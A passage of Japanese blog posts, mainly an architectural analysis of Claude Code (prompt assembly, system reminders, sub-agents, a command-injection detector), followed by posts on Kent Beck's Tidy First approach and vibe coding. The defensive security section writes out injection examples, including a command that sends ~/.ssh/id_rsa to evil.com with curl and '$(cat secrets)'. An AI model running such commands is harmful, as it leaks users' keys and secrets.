        Permission -->|Yes| AskUser[ユーザーへ承認要求]
        Permission -->|No| ToolExec
        AskUser --> ToolExec
        
        ToolExec --> InjectReminder[結果にリマインダーを注入]
        InjectReminder --> SendBack[結果をClaudeへ渡す]
        SendBack --> Response
    end
    
    Output --> End[完了]

流れの説明

ユーザーがターミナルに命令を入力した瞬間、Claude Codeは4段階の緻密なパイプラインを稼働させます。

第1段階：コンテキスト収集

Claude Codeはまず、現在の作業環境に関するすべての情報を収集します。プロジェクトルートのCLAUDE.mdファイルを読んで、プロジェクト構造、ビルドコマンド、コーディング規則を把握します。同時にGitの状態（現在のブランチ、直近のコミット、変更されたファイル）や、OS、インストール済みツールなどの環境情報も収集します。このすべての情報が、Claudeが「プロジェクトを理解しているかのように」ふるまう基盤になります。

第2段階：プロンプトのビルド

収集した情報をもとに、システムプロンプトが動的に組み立てられます。核心は条件付きの構成です。すべてのプロンプト断片が常に含まれるのではなく、現在の状況に必要なものだけが選択的に含まれます。たとえば、Planモードが有効になっていればPlan関連のプロンプトが追加され、MCPサーバーが設定されていればMCP CLIのプロンプトが含まれます。

第3段階：リクエストの事前処理

APIリクエストを送る前に、Claude Codeはいくつかの「事前作業」を行います。現在の会話が新しい話題かどうかを検知し、会話タイトルを生成し、長い会話の場合はそれまでの内容を要約します。この過程でも別途のLLM呼び出しが発生し、それぞれに特化したプロンプトが使われます。

第4段階：応答処理

Claudeの応答にツール呼び出しが含まれていれば、該当するツールが実行され、その結果にシステムリマインダーが注入されます。このリマインダーは、Claudeが本来の目標から外れないようにする「羅針盤」の役割を果たします。特にBashコマンドの場合は、実行前にコマンドインジェクション攻撃を検知する専用のAgentが検査を行います。

2. システムプロンプトの動的構成

Claude Codeのシステムプロンプトは単一の文字列ではありません。静的コンポーネント、動的コンポーネント、条件付きコンポーネントがレゴブロックのように組み立てられて、最終的なプロンプトを形成します。

graph LR
    subgraph "Static Components"
        A[Core System Prompt
2601 tokens]
        B[Tone & Style
Guidelines]
        C[Security Rules
& Restrictions]
    end
    
    subgraph "Dynamic Components"
        D[CLAUDE.md
プロジェクトコンテキスト]
        E[Git Status
ブランチ、コミット情報]
        F[Environment Info
OS、ツール、パス]
        G[Todo List
現在の作業状態]
    end
    
    subgraph "Conditional Components"
        H[Learning Mode
1042 tokens]
        I[Plan Mode
480 tokens]
        J[MCP CLI
1357 tokens]
    end
    
    subgraph "Tool Descriptions"
        K[Bash: 1074 tokens]
        L[Write: 159 tokens]
        M[Read: 439 tokens]
        N[TodoWrite: 2167 tokens]
        O[Task: 1055 tokens]
        P[+12 more tools]
    end
    
    A --> Merge[システムプロンプト
動的マージ]
    B --> Merge
    C --> Merge
    D --> Merge
    E --> Merge
    F --> Merge
    G --> Merge
    H -.->|if enabled| Merge
    I -.->|if active| Merge
    J -.->|if configured| Merge
    K --> Merge
    L --> Merge
    M --> Merge
    N --> Merge
    O --> Merge
    P --> Merge
    
    Merge --> Final[最終システムプロンプト
10,000+ tokens]
    

流れの説明

静的コンポーネント：変わらない基盤

すべてのClaude Codeセッションで共通して使われるプロンプトです。2,601個のトークンからなるCoreシステムプロンプトは、Claude Codeのアイデンティティ、基本的な行動規則、応答スタイルを定義します。「あなたはClaude Codeです。Anthropicの公式CLIツールです……」で始まるこのプロンプトは、Claudeがコーディングアシスタントとしてどうふるまうべきかの根幹を形づくります。

セキュリティ規則も静的コンポーネントに含まれます。悪意あるコードの作成禁止、URL生成の制限、機微な作業に関するガイドラインなどがこれに当たります。

動的コンポーネント：リアルタイムで変わる文脈

ここがClaude Codeの本当の「魔法」が起きる場所です。CLAUDE.mdファイルの内容はプロジェクトごとに違います。Reactプロジェクトならコンポーネント構造とスタイルガイドが、PythonバックエンドのプロジェクトならAPIエンドポイントとテスト方法が書かれているはずです。この情報がシステムプロンプトに含まれることで、Claudeは「このプロジェクトを知っているかのように」ふるまえるようになります。

Gitの状態情報も動的に注入されます。現在のブランチが何か、直近のコミットが何か、どのファイルが変更されたかをClaudeが把握しているため、「mainブランチにPRを作って」という依頼も自然に処理できます。

条件付きコンポーネント：必要なときだけ有効化

Learning Mode、Plan Mode、MCP CLIなどは、ユーザーが特定のモードを有効にしたときだけ含まれます。これはトークン効率のための設計です。使っていない機能の説明で貴重なコンテキストウィンドウを浪費しません。

ツール説明：驚くほど詳細なガイド

17個のビルトインツールそれぞれの説明がシステムプロンプトに含まれます。特にTodoWrite（2,167トークン）とBash（1,074トークン）のツールは、非常に詳細な使用ガイドを含んでいます。これらのツール説明だけを合わせても8,000トークンを超えます。

最終的に組み立てられたシステムプロンプトは10,000トークン以上に達することがあります。そしてこのすべてが、毎セッション、状況に合わせて動的に再構成されるのです。

3. CLAUDE.mdの活用メカニズム

CLAUDE.mdは、Claude Codeのエコシステムの中で特別な位置を占めています。このファイルはプロジェクトの「頭脳」であり、Claudeがコードベースを理解するために必要なすべての文脈を提供します。

sequenceDiagram
    participant U as ユーザー
    participant CC as Claude Code
    participant Gen as CLAUDE.md Generator
(384 tokens)
    participant FS as File System
    participant API as Anthropic API
    
    Note over U,API: 初期設定の段階
    U->>CC: /initコマンドまたは初回実行
    CC->>Gen: コードベースの分析を要求
    Gen->>FS: プロジェクトファイルの探索
    FS-->>Gen: ファイル構造を返却
    Gen->>Gen: 分析と要約の生成
    Gen-->>CC: CLAUDE.mdの内容を生成
    CC->>FS: CLAUDE.mdを保存
    
    Note over U,API: セッション実行の段階
    U->>CC: コーディング作業を依頼
    CC->>FS: CLAUDE.mdを読む
    FS-->>CC: プロジェクトコンテキスト
    CC->>CC: システムプロンプトのビルド
    
    Note over CC: CLAUDE.mdの内容を含む:
- プロジェクト構造
- ビルド/テストコマンド
- コーディング規則
- アーキテクチャ情報
    
    CC->>API: リクエスト（システムプロンプト + ユーザーメッセージ）
    API-->>CC: 応答
    CC-->>U: 結果の出力

流れの説明

初期設定：CLAUDE.mdの誕生

ユーザーが/initコマンドを実行するか、新しいプロジェクトで初めてClaude Codeを起動すると、専用のGenerator Agentが起動します。このAgentは384トークンの特化したシステムプロンプトを持ち、ただ一つの目標だけを遂行します。すなわち、コードベースを分析してCLAUDE.mdを生成することです。

Generatorはプロジェクトのファイル構造を探索し、package.json、pyproject.toml、Makefileなどの設定ファイルを読んでビルドおよびテストのコマンドを把握します。コードのアーキテクチャパターンを分析し、主要なディレクトリとファイルの役割を要約します。このすべての情報が構造化された形でCLAUDE.mdに保存されます。

セッション実行：コンテキストの力

以降のすべてのClaude Codeセッションで、このCLAUDE.mdファイルはシステムプロンプトの一部として自動的に含まれます。ユーザーが「テストを実行して」と言えば、ClaudeはCLAUDE.mdから読み取ったテストコマンド（npm test、pytestなど）を使います。「新しいコンポーネントを作って」と言えば、CLAUDE.mdに明記されたプロジェクトのスタイルガイドとディレクトリ構造に従います。

これがClaude Codeがプロジェクトごとに違うふるまいをする秘密です。同じ「テストを実行して」という命令でも、Reactプロジェクトではnpm testを、Djangoプロジェクトではpython manage.py testを実行するのは、CLAUDE.mdのおかげです。

CLAUDE.mdの構造の例

# プロジェクト概要
このプロジェクトはReactベースのダッシュボードアプリケーションです。

# プロジェクト構造
- src/components: 再利用可能なUIコンポーネント
- src/pages: ページレベルのコンポーネント
- src/hooks: カスタムReactフック
- src/services: API通信ロジック

# 開発コマンド
- 開発サーバー: npm run dev
- ビルド: npm run build
- テスト: npm test -- --watch
- リント: npm run lint

# コーディング規則
- TypeScript strictモードを使用
- コンポーネントは関数型で記述
- スタイルはTailwind CSSを使用
- 状態管理はZustandを使用

# 重要事項
- APIキーは.env.localに保存
- PR前に必ずlintを通す必要あり

4. System Reminderの注入パターン

Claude Codeの最も独特な特徴の一つが、<system-reminder>タグの広範な使用です。このタグはdrift防止の中核メカニズムであり、長い会話の中でもClaudeが本来の目標を見失わないようにします。

graph TB
    subgraph "User Message"
        UM1[ユーザー入力]
        SR1["<system-reminder>
重要な指示の反復
</system-reminder>"]
        UM1 --> SR1
    end
    
    subgraph "Tool Execution"
        TE[ツール実行の要求]
        SR2["<system-reminder>
ツール呼び出し情報
</system-reminder>"]
        TE --> SR2
    end
    
    subgraph "Tool Result"
        TR[ツール実行の結果]
        SR3["<system-reminder>
条件付きリマインダー
- TodoWrite使用の提案
- セキュリティ警告
- 作業状態
</system-reminder>"]
        TR --> SR3
    end
    
    subgraph "Conditional Injection"
        CI{条件の確認}
        CI -->|Todoなし & 複雑な作業| AddTodo["TodoWrite使用の提案"]
        CI -->|セキュリティリスク検知| AddSecurity["セキュリティ警告"]
        CI -->|長い出力| AddSummary["要約の提案"]
    end
    
    SR1 --> API[APIリクエスト]
    SR2 --> API
    SR3 --> API
    AddTodo --> SR3
    AddSecurity --> SR3
    AddSummary --> SR3
    
    API --> Claude[Claudeの処理]
    
    Note1[システムリマインダーは
すべての段階で
drift防止のために
注入される]
    

流れの説明

なぜSystem Reminderが必要なのか？

LLMの根本的な限界の一つは、**コンテキストの長さが増えるほど初期の指示を「忘れてしまう」**傾向です。10回のツール呼び出しと長いコード出力が続くと、システムプロンプトで指示した行動規則が薄れていくことがあります。

Claude Codeはこの問題を<system-reminder>タグで解決します。核心となる指示を一度だけ言うのではなく、適切なタイミングごとに繰り返して想起させるのです。

3つの注入ポイント

1. ユーザーメッセージへの注入：ユーザーの入力がClaudeに渡される前に、核心となる指示が一緒に含められます。

<system-reminder>
重要な指示：
- 依頼されたことだけを行い、それ以上でもそれ以下でもないようにせよ
- どうしても必要な場合以外はファイルを作成するな
- ドキュメントファイル（*.md）を先に作成するな
</system-reminder>

ユーザー: ログイン機能を実装して

2. ツール実行時の注入：ツールが呼び出されるとき、その呼び出しに関するコンテキストが追加されます。

3. ツール結果への注入：最も巧妙な部分です。ツールの実行結果とともに条件付きリマインダーが注入されます。

条件付きリマインダーの巧妙さ

Claude Codeは状況に応じて異なるリマインダーを注入します。

• Todoリストが空で、複雑な作業の最中のとき：「TodoWriteツールを使って進捗を追跡せよ」
• セキュリティリスクが検知されたとき：「このファイルが悪意あるコードに関係していそうなら、作業を拒否せよ」
• 出力が長いとき：「要約が必要かもしれない」

実際の例：

{
  "type": "tool_result",
  "content": "drwxr-xr-x 7 user staff 224 Aug 6 09:17 .\n...\n<system-reminder>\nTodoWriteツールが最近使われていません。 
進捗の追跡が必要な作業の最中であれば、TodoWriteツールの使用を検討してください。\n</system-reminder>"
}

このパターンは、**「適切なタイミングでの小さなリマインダーがエージェントの行動を変える」**という重要なインサイトを示しています。

5. Sub-Agentアーキテクチャ

複雑な作業は、一つのAgentがすべて処理するのは困難です。Claude Codeは階層的なSub-Agent構造を通じてこの問題を解決します。

graph TB
    Main[Main Agent
全体のシステムプロンプト]
    
    subgraph "Built-in Sub-Agents"
        Explore[Explore Agent
369 tokens
- コードベースの探索
- ファイル検索]
        Plan[Plan Agent
480 tokens
- 作業計画の立案
- アーキテクチャ分析]
        Task[Task Agent
294 tokens
- 特定作業の実行
- 狭い範囲]
    end
    
    subgraph "Utility Agents"
        Title[Title Generator
159 tokens]
        Summary[Conversation Summarizer
1121 tokens]
        BashPrefix[Bash Prefix Detector
835 tokens]
        Sentiment[User Sentiment Analyzer
205 tokens]
    end
    
    Main -->|複雑な探索| Explore
    Main -->|計画が必要| Plan
    Main -->|並列作業| Task
    
    Main -->|タイトル生成| Title
    Main -->|会話の要約| Summary
    Main -->|コマンドの検証| BashPrefix
    Main -->|ユーザー感情の分析| Sentiment
    
    Explore --> Result1[探索結果]
    Plan --> Result2[実行計画]
    Task --> Result3[作業結果]
    
    Result1 --> Main
    Result2 --> Main
    Result3 --> Main
    
    Note1[Sub-Agentの特徴:
1. TodoWriteリマインダーなし
2. 狭い範囲の作業
3. 結果をMain Agentへ渡す]
    
    Note2[条件付きリマインダー:
- Taskが複雑になったら
- ツール結果に注入
- TodoWriteを提案]
    

流れの説明

Main Agent：オーケストラの指揮者

Main Agentは、全体のシステムプロンプト（10,000+トークン）を持つ「本体」です。ユーザーの依頼を受けて分析し、必要に応じてSub-Agentを生成し、最終的な結果をまとめてユーザーに届けます。ちょうどオーケストラの指揮者が各パートに指示を出し、全体の音楽を調律するのと同じです。

Built-in Sub-Agents：特化した専門家たち

• Explore Agent（369トークン）：コードベースの探索に特化しています。「このプロジェクトでAPIを呼び出しているコードはどこ？」という質問に対し、複数のファイルを素早く検索して関連コードを見つけ出します。

• Plan Agent（480トークン）：複雑な作業の計画を立てます。「決済システムをリファクタリングして」という依頼に対し、どのファイルをどの順番で修正すべきかの計画を立てます。

• Task Agent（294トークン）：特定の作業を並列で実行します。最も軽いプロンプトを持ち、狭く明確な範囲の作業だけを行います。

Sub-Agentの核心的な設計原則

興味深いのは、Sub-AgentたちがTodoWriteリマインダーを受け取らないという点です。これは意図的な設計です。Sub-Agentは、複雑な作業管理を必要としない、明確で狭い範囲の作業だけを行うべきだからです。作業が複雑になれば、Main Agentが処理すべきです。

しかしAnthropicはここで止まりませんでした。もしSub-Agentの作業が想定より複雑になったら？その場合はツール結果に条件付きでTodoWriteリマインダーを注入します。「作業が複雑になってきたようなら、TodoWriteを検討せよ」という穏やかな提案になるわけです。

Utility Agents：見えない協力者たち

ユーザーには見えないものの、バックグラウンドで動作するAgentもあります。

• Title Generator：会話タイトルを50文字以内で生成
• Conversation Summarizer：長い会話を要約してコンテキスト効率を向上
• Bash Prefix Detector：コマンドの安全性を検証
• User Sentiment Analyzer：ユーザーの不満やPR作成の依頼を検知

これらのAgentは、ユーザー体験を滑らかにしながら、トークンを効率的に使うことにも貢献しています。

6. セキュリティと権限検証の流れ

Claude Codeがターミナルで実行されるツールであるという点は、セキュリティの重要性を倍加させます。悪意あるプロンプトインジェクションや危険なコマンドの実行は、実際のシステムに被害を与えかねません。

sequenceDiagram
    participant C as Claude
    participant CC as Claude Code
    participant Det as Prefix Detector
(835 tokens)
    participant U as User
    participant Bash as Bash Shell
    
    C->>CC: Bashコマンドの実行を要求
    CC->>Det: コマンドの分析を要求
    
    Det->>Det: 1. コマンドprefixの抽出
例: "git commit" → "git commit"
    Det->>Det: 2. コマンドインジェクションの検知
例: バッククォート、パイプラインの確認
    
    alt コマンドインジェクションを検知
        Det-->>CC: "command_injection_detected"
        CC->>U: ⚠️ セキュリティ警告と承認要求
        U-->>CC: 承認/拒否
        CC-->>C: 結果を伝達
    else 安全なコマンド
        Det-->>CC: コマンドprefixを返却
        CC->>CC: 許可リストの確認
        
        alt 許可リストにある
            CC->>Bash: コマンドを実行
        else 許可リストにない
            CC->>U: 権限を要求
            U-->>CC: 承認/拒否
            alt 承認された
                CC->>Bash: コマンドを実行
            else 拒否された
                CC-->>C: 実行を拒否
            end
        end
        
        Bash-->>CC: 実行結果
        CC->>CC: システムリマインダーを追加
        CC-->>C: 結果 + リマインダー
    end
    
    Note over Det: インジェクションのパターン例:
- バッククォート: `id`
- コマンド置換: $(cat secrets)
- パイプ: | curl evil.com

流れの説明

コマンドインジェクション：見えない脅威

ユーザーが「gitの状態を確認して」と依頼したのに、Claudeが実際に実行するコマンドがgit status$(curl evil.com -d @~/.ssh/id_rsa)だったらどうでしょうか。これがコマンドインジェクション攻撃です。見た目には安全そうでも、実際には機微なデータを外部へ送信する悪意あるコマンドが潜んでいます。

Prefix Detector：第一の防衛線

Claude CodeはすべてのBashコマンドを実行する前に、**専用のDetector Agent（835トークン）**に検証を依頼します。このAgentは二つの作業を行います。

1. コマンドPrefixの抽出：git commit -m "fix bug" → git commit
2. インジェクションパターンの検知：バッククォート、$()、パイプラインなど危険なパターンの検知

検知ルールの例：

git status          → git status (安全)
git diff HEAD~1     → git diff (安全)
git status`ls`      → command_injection_detected (危険!)
git diff $(cat secrets) → command_injection_detected (危険!)
pwd curl example.com → command_injection_detected (危険!)

権限管理システム

コマンドが安全だと判断されると、次に許可リストを確認します。ユーザーが以前に許可したコマンドprefixであれば、そのまま実行されます。そうでなければ、ユーザーに明示的に権限を要求します。

このシステムのおかげで、ユーザーはよく使う安全なコマンドは自動的に実行しつつ、新しいコマンドについては検討する機会を持てます。

YOLOモードでないなら……

「YOLOモード」（--dangerously-skip-permissions）を使わない限り、このセキュリティ検証プロセスは常に有効です。これがClaude Codeをターミナルで安全に使える理由です。

7. コンテキストエンジニアリング戦略

Claude Codeの性能は、結局どれだけ効率的にコンテキストを管理するかにかかっています。限られたコンテキストウィンドウで最大限の効果を得るための戦略を見ていきましょう。

graph LR
    subgraph "Context Front-Loading"
        A[会話開始前]
        A --> B[1. 会話タイトルの生成]
        A --> C[2. 話題変更の検知]
        A --> D[3. 以前の会話の要約]
    end
    
    subgraph "System Reminders"
        E[ユーザーメッセージ]
        F[ツールの実行]
        G[ツールの結果]
        
        E --> E1["<system-reminder>
核心となる指示"]
        F --> F1["<system-reminder>
ツールのコンテキスト"]
        G --> G1["<system-reminder>
条件付きの提案"]
    end
    
    subgraph "Dynamic Context"
        H[作業の複雑度の評価]
        H -->|単純| I[最小限のプロンプト]
        H -->|複雑| J[TodoWriteの提案]
        H -->|非常に複雑| K[Sub-Agentの生成]
    end
    
    subgraph "Cache Optimization"
        L[System Prompt]
        M[CLAUDE.md]
        N[ツール説明]
        
        L --> O["ephemeral cache
（再利用）"]
        M --> O
        N --> O
    end
    
    B --> Result[最終的なAPIリクエスト]
    C --> Result
    D --> Result
    E1 --> Result
    F1 --> Result
    G1 --> Result
    I --> Result
    J --> Result
    K --> Result
    O --> Result
    

流れの説明

Context Front-Loading：あらかじめ準備する

Claude Codeは、ユーザーの依頼を処理する前にいくつかの「事前作業」を行います。会話タイトルを生成し、現在のメッセージが新しい話題かどうかを判断し、必要であれば以前の会話を要約します。

この過程で別途のLLM呼び出しが発生します。一見すると非効率に見えるかもしれませんが、こうして準備されたコンテキストが、その後の会話の品質を大きく向上させます。「ああ、以前に決済システムのリファクタリングについて話していたな」とClaudeが自然に続けられるのは、このためです。

システムリマインダー：絶え間ない想起

先に説明したとおり、<system-reminder>タグは会話全般にわたって注入されます。これは**「一度言えば終わり」ではなく「必要なときごとに繰り返す」**戦略です。人間のチームメンバーにも重要な事項は何度も念押しするように、AIエージェントに対しても同じなのです。

動的なコンテキスト調整

作業の複雑度に応じて、コンテキストが動的に調整されます。

• 単純な作業：最小限のプロンプトだけを使用。トークンの浪費を防ぎます。
• 中程度の複雑度：TodoWriteの使用を提案して進捗を追跡します。
• 高い複雑度：Sub-Agentを生成して作業を分割します。

キャッシュ最適化：トークンコストの削減

Anthropic APIのephemeral cache機能を活用します。システムプロンプト、CLAUDE.mdの内容、ツール説明など繰り返し使われるコンテンツにキャッシュ制御を適用し、リクエストのたびに同じトークンを再処理しないようにします。

{
  "text": "You are Claude Code...",
  "type": "text",
  "cache_control": {
    "type": "ephemeral"
  }
}

この最適化は、コスト削減だけでなく応答速度の向上にも寄与します。

重要なインサイト

Claude Codeを分析しながら見つけた重要なインサイトを整理します。これらの教訓は、AIエージェントを開発するすべての方に役立つはずです。

1. 動的なプロンプト構成の力

「一つの万能プロンプトではなく、状況に合わせて組み立てられるプロンプトシステムこそが答えだ」

Claude Codeは単一のプロンプトを使いません。代わりに40個以上のプロンプト断片が条件に応じて動的に組み合わされます。CLAUDE.mdを通したプロジェクトごとのコンテキスト注入、環境とGitの状態に応じたリアルタイムの更新、有効になっているモードに応じた選択的なプロンプトの包含……このすべてが「状況を理解するAI」という体験を作り出しています。

実務への適用：自分だけのAIエージェントを作るとき、一つの巨大なプロンプトを書こうとしないでください。代わりにモジュール化されたプロンプト断片を作り、状況に応じて必要なものだけを組み合わせるシステムを設計しましょう。

2. システムリマインダーの魔法

「重要なのは一度言うことではなく、適切なタイミングで繰り返すことだ」

<system-reminder>タグはClaude Codeの「秘密兵器」です。ユーザーメッセージ、ツール呼び出し、ツール結果など、すべての段階で核心となる指示が繰り返されます。これによって長い会話の中でもdriftを防ぎ、目標に集中できます。

実務への適用：エージェントが長い作業を行うとき、重要な指示を開始地点だけに置かないでください。途中の適切なタイミングでリマインダーを注入しましょう。特にツール実行の結果に条件付きリマインダーを追加するパターンが効果的です。

3. 階層的なエージェント構造

「一つの万能エージェントではなく、役割の明確な複数エージェントの協業こそが答えだ」

Claude CodeはMain Agent、Sub-Agents、Utility Agentsで構成された階層構造を持っています。各エージェントは明確な役割と最適化されたプロンプトを持っています。Main Agentは全体の調整に、Explore Agentは探索に、Plan Agentは計画に、Task Agentは実行に集中します。

実務への適用：複雑な作業を単一のエージェントで解決しようとしないでください。役割ごとにエージェントを分離し、各エージェントに最適化された（そして最小化された）プロンプトを与えましょう。より少ないコンテキストで、より集中した作業を行えます。

4. セキュリティ中心の設計

「セキュリティは後から追加するものではなく、最初からアーキテクチャに組み込まれていなければならない」

コマンドインジェクション検知のための専用Agent、コマンドprefixの抽出と検証、ユーザーによる権限承認のプロセス……Claude Codeはセキュリティを核心的な設計原則としました。このすべてが、ユーザーがターミナルでAIを「安心して」使えるようにしています。

実務への適用：特にコード実行やファイルシステムへのアクセスを含むエージェントを開発するときは、セキュリティ検証の段階を必須で含めてください。「まず動くようにして、セキュリティは後で追加」は危険なアプローチです。

5. 効率的なコンテキスト管理

「限られたコンテキストウィンドウで最大の効果を得ることがエンジニアリングの核心だ」

Context front-loading、ephemeral cache、条件付きのコンテキスト注入、会話の要約……Claude Codeはトークンの一つひとつを大切に扱います。不要な情報は取り除き、繰り返される情報はキャッシュし、必要な情報だけを適時に注入します。

実務への適用：コンテキストウィンドウを無限だと考えないでください。プロンプトの各部分が本当に必要かを検討し、キャッシュ戦略を立て、動的なコンテキスト調整を実装しましょう。

結論：Claude Codeが与えてくれる教訓

Claude Codeを分析していて最も印象深かったのは、「魔法」のように見える快適な動作の裏に隠れた緻密なエンジニアリングです。よく作られた単一のプロンプトではなく、数十個の小さなプロンプト断片が条件に応じて組み合わされ、適切なタイミングでリマインダーが注入され、セキュリティ検証が自動的に行われる過程を通じて、「勝手にうまく動く」体験が作り出されています。

Anthropicが公開していないもう一つのミステリーがあります。<system-reminder>タグが、Claudeモデルの訓練過程で特別な意味を持つように学習されたのかどうかです。このタグが単なるXMLマークアップなのか、それともモデルが特別に注意を払うように訓練された「特別なシグナル」なのかは、まだ明確ではありません。

しかし明らかなのは、Claude CodeのパターンがあらゆるAIエージェント開発に適用可能な普遍的原則を含んでいるという点です。

1. プロンプトをモジュール化し、動的に組み合わせよ
2. 重要な指示は繰り返し想起させよ
3. 複雑な作業は特化したエージェントに分割せよ
4. セキュリティを最初から設計に含めよ
5. コンテキストを効率的に管理せよ

最後に、この記事はClaude Codeの動作原理についての理解を説明していますが、コーディング以外の目的でAIエージェントを開発される方にとっても参考資料になれば幸いです。

最強の最初のAIエージェント - Agent Smith

参考資料

公式ドキュメント

• Claude Code Best Practices - Anthropic
• System Prompts - Claude Docs

技術分析

• Peeking Under the Hood of Claude Code - OutsightAI

GitHub

• Piebald-AI/claude-code-system-prompts - システムプロンプトの全リスト（v2.0.43）
• gregkonush/claude-system-prompts
• Claude Code System Prompt Gist

ツール

• LiteLLM - APIモニタリングプロキシ
• tweakcc - システムプロンプトのカスタマイズツール

最近、私はClaude Codeを主な作業ツールとして使っています。Claude Codeが卓越した性能を見せる理由は、作業を即座に実行するのではなく、作業全体を体系的に計画したうえで、小さく明確なステップに分けて順に遂行するからです。

今日はこれに加えて、もう一つ有用な方法論を紹介したいと思います。TDD（Test Driven Development）の創始者として有名なKent Beckが自身のブログで提案した「Augmented Coding」というアプローチです。この方も用語作りに執着している様子を見ると、バイブコーディングという大きな流れに早々と便乗しようとしているようです。しかし私は、このアプローチがKent Beckがこれまでに書いた本——Tidy First?（ケント・ベック著）——の内容に基づいているため、勝手ながら「Tidy First方法論」と呼ぶことにしました。

TL;DR

• Tidy Firstは、構造的変化と振る舞いの変化を分離することで、AIとともにコーディングする際の複雑さを下げるアプローチです。
• まずコードを整理してテストで検証し、そのうえで機能の変更を入れてこそ、作業の流れが揺らぎません。
• Claude Codeのようなツールと併せて使えば、開発者がコードの品質と方向性に対する主導権を保ちやすくなります。

Augmented CodingとTidy Firstの核心

Kent Beckが語るAugmented Codingの核心は、コーディング作業を構造的変化（Structural Changes）と振る舞いの変化（Behavioral Changes）の二つに明確に分けることです。構造的変化とは、コードの動作を変えずに単にコードの位置を変えたり、名前を変更したり、メソッドを抽出したりする作業を指します。振る舞いの変化とは、実際にコードの機能を追加したり修正したりする作業です。

Beckは、この二つの変化が決して一つのコミット（commit）に混ざってはならないと強調します。特に、構造的変化を常に優先して処理し、それによってコードの複雑さを下げた状態で明確なテスト環境を維持したうえで、振る舞いの変化を導入すべきだと説明しています。

Kent Beckが示したルール

Kent Beckが実際にプロジェクトで使った「Tidy First」のルールは次のとおりです。

• 常にTDDサイクル（レッド→グリーン→リファクタリング）を厳格に守る。
• 最も単純な失敗するテストを先に書く。
• 最小限のコードでテストを通し、それ以上のことはしない。
• テストが通ったあとにのみリファクタリングする。
• 構造的変化と振る舞いの変化を分離し、コミットを明確に区別する。
• すべてのテストが通り、警告がなく、作業の論理的単位が明確なときにのみコミットする。
• コードの重複を徹底的に排除し、明確な名前と構造で意図を表現する。
• メソッドは小さく保ち、一つの責務だけを担わせる。

このような明確なルールを守りながらコーディングを進めれば、コードは複雑さと不要な機能追加を防ぎつつ、段階的に堅牢で理解しやすいものになっていきます。

Tidy Firstの実際の適用と利点

筆者がClaude Codeとともにこの「Tidy First方法論」を実際のプロジェクトに適用してみた結果、ほとんどのプロジェクトで非常に効果的に機能しました。構造的変化から始めてコードベースをきれいに保ったうえで振る舞いの変化を導入すれば、コードが複雑になって途中で道に迷うことが大幅に減ります。

Kent BeckがB+ Treeプロジェクトで明らかにしたように、AI（GenAI）が時として不要な機能を追加したり、コードが複雑になって開発速度が低下したりすることがあります。これを防ぐには、常にまず構造的な整理作業を行い、その作業がテストによって正確に検証されたあとにはじめて、次の機能的な変化を追加すべきです。

「Tidy First方法論」は、AIとともに作業する際に開発者がコードに対する主導権と明確さを維持できるようにしてくれ、コードの品質と複雑さを管理するうえで大きな助けになります。

この方法論は、みなさんのプロジェクトにもきっと効果的でしょう。ぜひ一度試してみることを強くおすすめします。

関連リンク

• Augmented Coding: Beyond the Vibes
• BPlusTreeプロジェクトのルールファイル
• Tidy First?（ケント・ベック著）

多くの開発者はバイブコーディングを単に「コードを自動的に生成する方法」だと考えています。ツールに指示を出して待っていれば、素晴らしいコードがさっと出来上がるだろうと期待するわけです。しかし現実はそれほど単純ではありません。自動化されたテストがない環境で、堅牢な設計もなく、機能するレビュープロセスさえないのであれば、バイブコーディングは「ゴミコード」を素早く量産するだけです。

これはツールの問題ではなく、エンジニアリング成熟度の問題です。ソフトウェアエンジニアリングの成熟度とバイブコーディングは互いを補完します。エンジニアリング成熟度が高い環境でこそ、バイブコーディングは本来の力を発揮できるのです。

TL;DR

• バイブコーディングは、テスト・設計・レビューといったエンジニアリングの基礎が弱い組織では、かえって品質問題を急速に拡大させかねません。
• 逆に、ドキュメント化、テスト自動化、IaC、レビュープロセスが整えば、AIツールは開発スピードと品質を同時に引き上げます。
• バイブコーディングは成熟した組織でこそうまく使えるツールであると同時に、組織の成熟度を高めるツールでもあります。

逆説的ですが、バイブコーディングツールはエンジニアリング成熟度を高めるうえで非常に有用です。バイブコーディングの手法を活用すれば、仕様書を整理し、既存コードを分析してテストを自動生成し、そのテストが仕様を満たしているかを素早く検証できます。また、インフラをIaC（Infrastructure as Code）として迅速かつ正確に実装する作業も、人の介入なしに可能です。たとえばSuperClaudeのようなツールを使えば、コード分析、ドキュメント化、実装、テスト、セキュリティスキャンといったさまざまな活動を手軽に実行できます。

バイブコーディングとエンジニアリング成熟度の関係は、次のように表現できます。

%%{init: {
  'theme': 'base',
  'themeVariables': {
    'primaryColor': '#3b82f6',
    'primaryTextColor': '#1e293b',
    'primaryBorderColor': '#1e40af',
    'lineColor': '#6366f1',
    'secondaryColor': '#8b5cf6',
    'tertiaryColor': '#ec4899',
    'background': '#ffffff',
    'mainBkg': '#f8fafc',
    'secondBkg': '#e2e8f0',
    'tertiaryBkg': '#cbd5e1'
  }
}}%%
flowchart LR
    A["🚀 バイブコーディング"] 
    B["📈 ソフトウェア
エンジニアリング成熟度の向上"]
    C["📚 ドキュメント化
体系"]
    D["🏗️ IaCベースの
イミュータブルインフラ"]
    E["🔍 効果的な
レビュープロセス"]
    F["⚡ 拡張コーディング
アプローチ"]
    
    A --> C
    A --> D
    A --> E
    C --> B
    D --> B
    E --> B
    B --> F
    F --> A
    
    classDef startNode fill:#3b82f6,stroke:#1e40af,stroke-width:3px,color:#ffffff
    classDef processNode fill:#8b5cf6,stroke:#7c3aed,stroke-width:2px,color:#ffffff
    classDef outputNode fill:#10b981,stroke:#059669,stroke-width:2px,color:#ffffff
    classDef maturityNode fill:#f59e0b,stroke:#d97706,stroke-width:3px,color:#ffffff
    
    class A startNode
    class C,D,E processNode
    class F outputNode
    class B maturityNode

これからバイブコーディングを始めようとする方々にお勧めします。まず既存プロジェクトのドキュメント整備から手をつけ、テスト自動化を構築し、完全に自動化されたCI/CDパイプラインとIaCベースのイミュータブルインフラを整えてください。エンジニアリング成熟度を高めることが、バイブコーディングを正しく活用するための第一歩です。ソフトウェアエンジニアリングの成熟度が支えてくれるなら、その後はKent Beckの拡張コーディング（augmented coding）アプローチによって、バイブコーディングがもたらすコードの品質とスピードを最大化できるでしょう。

いよいよバイブコーディングの時代が幕を開けようとしています。AIがコードを書き、人工知能が日常業務の大半を引き受けて処理する時代が現実のものとなりました。AIを活用した面接支援プラットフォームであるFinal Round AIのブログ記事——Halfway Through 2025, AI Has Already Replaced 94,000 Tech Workers——によれば、タイトルのとおり2025年上半期だけでAIを理由に約9万4千人が職を失ったといいます。

